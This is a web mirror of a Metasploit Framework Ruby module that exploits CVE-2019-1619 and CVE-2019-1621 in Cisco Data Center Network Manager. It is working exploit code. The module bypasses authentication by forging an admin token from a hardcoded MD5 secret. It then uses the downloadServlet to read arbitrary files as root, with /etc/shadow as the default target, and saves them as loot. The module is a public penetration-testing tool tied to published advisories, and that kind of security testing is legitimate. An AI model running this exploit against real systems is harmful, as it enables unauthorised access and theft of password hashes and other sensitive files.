CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/networking/cisco_dcnm_download.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Deprecated
11
moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
18
'Description' => %q{
19
DCNM exposes a servlet to download files on /fm/downloadServlet.
20
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
21
the full path of the file.
22
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
23
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
24
(see References to understand why).
25
},
26
'Author' =>
27
[
28
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' =>
32
[
33
[ 'CVE', '2019-1619' ],
34
[ 'CVE', '2019-1621' ],
35
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
36
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
37
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],
38
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
39
],
40
'DisclosureDate' => '2019-06-26'
41
)
42
)
43
44
register_options(
45
[
46
Opt::RPORT(443),
47
OptBool.new('SSL', [true, 'Connect with TLS', true]),
48
OptString.new('TARGETURI', [true, 'Default server path', '/']),
49
OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),
50
OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),
51
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
52
]
53
)
54
end
55
56
def auth_v11
57
res = send_request_cgi(
58
'uri' => normalize_uri(target_uri.path, 'fm/'),
59
'method' => 'GET',
60
'vars_get' =>
61
{
62
'userName' => datastore['USERNAME'],
63
'password' => datastore['PASSWORD']
64
}
65
)
66
67
if res && res.code == 200
68
# get the JSESSIONID cookie
69
if res.get_cookies
70
res.get_cookies.split(';').each do |cok|
71
if cok.include?('JSESSIONID')
72
return cok
73
end
74
end
75
end
76
end
77
end
78
79
def auth_v10
80
# step 1: get a JSESSIONID cookie and the server Date header
81
res = send_request_cgi({
82
'uri' => normalize_uri(target_uri.path, 'fm/'),
83
'method' => 'GET'
84
})
85
86
# step 2: convert the Date header and create the auth hash
87
if res && res.headers['Date']
88
jsession = res.get_cookies.split(';')[0]
89
date = Time.httpdate(res.headers['Date'])
90
server_date = date.strftime('%s').to_i * 1000
91
print_good("#{peer} - Got sysTime value #{server_date}")
92
93
# auth hash format:
94
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
95
session_id = rand(1000..50000).to_s
96
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
97
'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'
98
md5_str = Base64.strict_encode64(md5)
99
100
# step 3: authenticate our cookie as admin
101
# token format: sessionId.sysTime.md5_str.username
102
res = send_request_cgi(
103
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
104
'cookie' => jsession,
105
'vars_get' =>
106
{
107
'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"
108
},
109
'method' => 'GET'
110
)
111
112
if res && res.code == 500
113
return jsession
114
end
115
end
116
end
117
118
def run
119
res = send_request_cgi(
120
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),
121
'method' => 'GET'
122
)
123
noauth = false
124
125
if res && res.code == 200
126
if res.body.include?('version":"11.1(1)')
127
print_good("#{peer} - Detected DCNM 11.1(1)")
128
print_status("#{peer} - No authentication required, ready to exploit!")
129
noauth = true
130
elsif res.body.include?('version":"11.0(1)')
131
print_good("#{peer} - Detected DCNM 11.0(1)")
132
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
133
jsession = auth_v11
134
elsif res.body.include?('version":"10.4(2)')
135
print_good("#{peer} - Detected DCNM 10.4(2)")
136
print_status("#{peer} - No authentication required, ready to exploit!")
137
jsession = auth_v10
138
else
139
print_error("#{peer} - Failed to detect module version.")
140
print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')
141
print_error(res.body)
142
print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
143
jsession = auth_v10
144
end
145
end
146
147
if jsession || noauth
148
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
149
else
150
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
151
end
152
153
res = send_request_cgi(
154
'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
155
'method' => 'GET',
156
'cookie' => jsession,
157
'vars_get' => {
158
'showFile' => datastore['FILEPATH']
159
}
160
)
161
162
if res && res.code == 200 && !res.body.empty?
163
filedata = res.body
164
vprint_line(filedata.to_s)
165
fname = File.basename(datastore['FILEPATH'])
166
167
path = store_loot(
168
'cisco-DCNM.http',
169
'application/octet-stream',
170
datastore['RHOST'],
171
filedata,
172
fname
173
)
174
print_good("File saved in: #{path}")
175
else
176
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
177
end
178
end
179
end
180
181